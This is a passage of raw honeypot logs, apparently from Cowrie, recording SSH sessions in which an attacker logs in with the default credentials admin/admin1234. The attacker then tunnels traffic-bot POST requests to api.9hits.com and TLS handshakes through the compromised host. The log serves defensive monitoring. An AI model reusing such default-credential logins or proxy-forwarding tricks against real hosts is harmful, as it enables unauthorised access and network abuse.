2Bll1ILaMh3nYi%2BWlPKVbunR%2BvCMI2pfypAdHBwy3tLTp7qip279BMoIjHNb%2BEX3aSp2gXH0aJmrI8z9wwgIEsGWvcFzBOW6CXwQlunQcdNaVf8jdg9OKmBaBqT4A7Gd7T2wLCz4eBcqr%2BLnd%2BoELVQwhBa6zjUB%2FimeyTykVqGmsozJ8Opb6IhrtT9x2u1RluORJRJXsKotSp2I5PsIJAX01DjAGtSU1wllg%2FOoDDs7mBn6SJaLgCDbBC8aD4cbO2SVsOKkhsdcz9jrwUOuDLjqE0phw%2FLD%2FGC%2FxkcI3KH8ekip79DyV1819RdVd86BRPSqLXkL%2BW%2BJhJMLcAEW43zK1bN8ZGEfu0Uh7wPsaDmMv3URUpjh3NG0YoEBckbVLDH%2BX8p2usVxUbo%2BEJidU3xb6y8'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1178\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.108 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=JVE0NDIkV2Qkd0hqd15CeQ%3D%3DbMAm%2FQr2vPAxpy3TjKnlSk9W5jpMX8vzoOjU03rD8idWlQyypcPt4N9bS2iF1BCh4HR3bEfaHyLW%2BaWWB3bUiB9w0E1Jv7tpW1oU5Qcsrt3jmEjep%2BvjwlVjN2LeLYPfvE0KKZViMGhpNM97y1QCdi87qLBN6aa0sUyVdqDh%2BWiCDHxqqmsC4Do3F5nYHcBu9v2wQ0sBb9EFfH9zWG3UFZzhmw3UJG3MIHGo6KaKrOG6wN3JyFBjCc%2F%2BFN2LO9OldpwIyKiVmJP4Y3rveFYbJ3Qo2SOFNj1IqdlE%2FhHOs8AvzIUVjacNsQYR12J4fFTvTPjmJ53kp%2Fq7HRMdxVC5X%2FJsIGyfQ0U6DGN00qFqLyl6uo%2BjFiIPizUhLUWmwVUYyQlJG51h29afIfoN9Osy16zY53admFG%2BVx3HQZajvUglncyoFUHDP6gBFveY9qHzF9xmbJopy8wOiRlz8C5oay54%2FEp32zwSf53H6xucOnZBl3GwhtXCg2YaJI%2BYmzo4taiH6topcz9zw%2Fhe1S%2FbzN3Mzv8IGSPIBQDltU0NLo0MNK0ze5vLz8r1qx3fuLbkOd5v0fYIC9mWbjgOFMqiY42QBqUsOC8nvMdKvh7lBZgMrSwd5YzVPZQsI8sgiFaavMV3bL69AasgTQ96t8ieQORe3SF4SACpihN8qu%2Bll1ILaMh3nYi%2BWlPKVbunR%2BvCMI2pfypAdHBwy3tLTp7qip279BMoIjHNb%2BEX3aSp2gXH0aJmrI8z9wwgIEsGWvcFzBOW6CXwQlunQcdNaVf8jdg9OKmBaBqT4A7Gd7T2wLCz4eBcqr%2BLnd%2BoELVQwhBa6zjUB%2FimeyTykVqGmsozJ8Opb6IhrtT9x2u1RluORJRJXsKotSp2I5PsIJAX01DjAGtSU1wllg%2FOoDDs7mBn6SJaLgCDbBC8aD4cbO2SVsOKkhsdcz9jrwUOuDLjqE0phw%2FLD%2FGC%2FxkcI3KH8ekip79DyV1819RdVd86BRPSqLXkL%2BW%2BJhJMLcAEW43zK1bN8ZGEfu0Uh7wPsaDmMv3URUpjh3NG0YoEBckbVLDH%2BX8p2usVxUbo%2BEJidU3xb6y8'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:49.843901Z","src_ip":"123.27.168.40","session":"14f03a538b01","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:50.076838Z","src_ip":"123.27.168.40","session":"14f03a538b01","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x0b&xA\\x96qB@X.\\xf6q\\xf4JP1\\xddS\\xb8\\x1d\\xf8\\x84A\\xcc\\xdbYR|d \\xd6\\xc6 \\x0c\\xdaP\\x8e\\x15\\x02\\x14\\xba&\\xbb\\x9d\\xaf\\x87C\\xc6\\x9e4`\\xe1\\xf2~\\xad4\\\\\\x11\\xa0\\x19\\xcf9\\xfa\\x18\\xb8\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe4\\x1bj\\xae\\xf2+8\\x11ch\\x06\\x87\\x86\\x1c\\x14c\\xf7:sN\\xa5&z{\\xcd\\xd5.\\x04\\xedXcA\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x0b&xA\\x96qB@X.\\xf6q\\xf4JP1\\xddS\\xb8\\x1d\\xf8\\x84A\\xcc\\xdbYR|d \\xd6\\xc6 \\x0c\\xdaP\\x8e\\x15\\x02\\x14\\xba&\\xbb\\x9d\\xaf\\x87C\\xc6\\x9e4`\\xe1\\xf2~\\xad4\\\\\\x11\\xa0\\x19\\xcf9\\xfa\\x18\\xb8\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe4\\x1bj\\xae\\xf2+8\\x11ch\\x06\\x87\\x86\\x1c\\x14c\\xf7:sN\\xa5&z{\\xcd\\xd5.\\x04\\xedXcA\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:50.080790Z","src_ip":"123.27.168.40","session":"14f03a538b01","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:50.550025Z","session":"14f03a538b01","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:50.790519Z","src_ip":"123.27.168.40","session":"14f03a538b01","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x0bl\\xdb\\xce\\x88Q~\\xd6;\\xe3qM\\xa0\\x035\\xb7\\xe4dtb\\xe3\\xfa\\xe8\\xcdNC7\\x1a\\xf5\\xd9\\xbd\\xd0 \\xc8\\x10\\x0bq\\xd7\\x1fl]B,\\x0f\\xbb\\xcaN\\x8a\\xc3\\xbe@\\x91\\x8cV\\xc3\\xe1\\xccLs\\xff\\xd1\\xaa\\xa6\\xd7S\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb0\\xf46!l\\xd7\\xac\\xc1\\xc8&\\xb7\\xba\\x17K\\xb0\\x93\\x05\\x9d\\xf0Y\\xa2\\xb1T&\\xb1\\xad[\\xd0\\xd1\\xd1\\xfb9\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x0bl\\xdb\\xce\\x88Q~\\xd6;\\xe3qM\\xa0\\x035\\xb7\\xe4dtb\\xe3\\xfa\\xe8\\xcdNC7\\x1a\\xf5\\xd9\\xbd\\xd0 \\xc8\\x10\\x0bq\\xd7\\x1fl]B,\\x0f\\xbb\\xcaN\\x8a\\xc3\\xbe@\\x91\\x8cV\\xc3\\xe1\\xccLs\\xff\\xd1\\xaa\\xa6\\xd7S\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb0\\xf46!l\\xd7\\xac\\xc1\\xc8&\\xb7\\xba\\x17K\\xb0\\x93\\x05\\x9d\\xf0Y\\xa2\\xb1T&\\xb1\\xad[\\xd0\\xd1\\xd1\\xfb9\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:50.794808Z","src_ip":"123.27.168.40","session":"14f03a538b01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:51.182058Z","src_ip":"123.27.168.40","session":"14f03a538b01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.41168975830078,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:55.824432Z","src_ip":"172.81.62.90","session":"8d67799676d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":50105,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f841c15aa50","protocol":"ssh","message":"New connection: 123.27.168.40:50105 (10.17.0.5:22) [session: 6f841c15aa50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:58.847397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:58.851431Z","src_ip":"123.27.168.40","session":"6f841c15aa50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:59.088080Z","src_ip":"123.27.168.40","session":"6f841c15aa50","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:00.325237Z","src_ip":"123.27.168.40","session":"6f841c15aa50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42028,"dst_ip":"159.203.135.109","dst_port":23,"session":"302784b8f375","protocol":"telnet","message":"New connection: 128.199.8.54:42028 (159.203.135.109:23) [session: 302784b8f375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:01.301507Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:01.424618Z","session":"6f841c15aa50","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:01.432071Z","session":"6f841c15aa50","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:01.969441Z","src_ip":"123.27.168.40","session":"6f841c15aa50","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1168\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; SM-T307U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=THkkRUtTUFh4RlVidSRMew%3D%3DI%2F4r7i5IWIfw%2FFJzqpw0Lu%2FLvf6RhUKolp9tRCqhjMiEOKzNaSoKam6sEwPULgn%2FsYdtMSVOYdnrr0UORwTstqCQ8rqeoVnKExipxBo7om4rGFTMyNPfIxUC97LbCqoo7s0Ca%2FXwl2C3bbe97ORCKzKoDOKaz2X8nAEElgPKMqPd2pHcEUTemvxT1pplatm94J9X7SiHpW592nLUvZv0pdeHsBo%2BCX13rik8DIYZK55Q2sU0yHz8NGvIvtNWuWTWjYa%2B6b0V%2BAscbeyqG8M7LqIBVx6tJm%2BBsZE7NJYBXleftV8Cf6FQ67RM2jL%2BusNTfaQ3diqKaT5TjhpA7GVW8ZJyH2bwDiLXCrhdREdPSiJjO8XK7W5Sy8uudhD5W0JNbGS7Hpwzy2sz33Alv1INDUCcNpc%2FktWpvYSquV8mo%2BFMaa90k9RNSkMmslKE2RJ93AqyyFd8WqVyj%2B54OQHOz9oSqtrWXY0w5hwA7slIFdQam79qpIhqieKF9UsDLmFu68cxad3ucDMPmgk2N1zPIKc2nVp3PJj4Fm%2FtrjCYVmbWm9YIAVRFsn78OgWc47og%2Fm51nxb9of6QPMBVggQ5LQqf79BJSj4vdQPW1I9NWbyZrLWIcviWuUs7pf8w%2B6xr80rIpE4n7fXMb2bkQMR0WHxLFFgewhD%2FA5XwO%2BZcj%2Fye9ddLFE9%2BLhwFPmBCn%2Fk7OhZ2S6RDBPreYbR51yy3RbYyzT4up5jzViR6zemnf%2F0JLd7FWu0EakteJlZizkBEhYDwk14z2xhj%2FacM%2Bv6CBLuieyl4ZdDi6ZeIAYaonqShl1nZWsH7Z%2FqnXx8k5HT5IHsBL38LJAjihM5h63ng9RTGOcoTgQG6hOlz1dKRiMsw6URvcLmq%2Bo5S1uCW%2B%2Fe%2FjBPoqmH%2B4SVUnB4uSNAzU3FboHAYXitPQQNlbQK4y084zL6eMovfKOj622Bwybj49voB2s%2BFWa3LzZjc8gy6Vz5tR9EMwMO%2BAuMQeTx%2B70xNim1YsOWtN4gTNPXjI80pu5NNAaD59yfC7Cyn6RBFP%2BIAXnJ63RjKYiWGcOL2Yj0%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1168\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; SM-T307U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Mobile 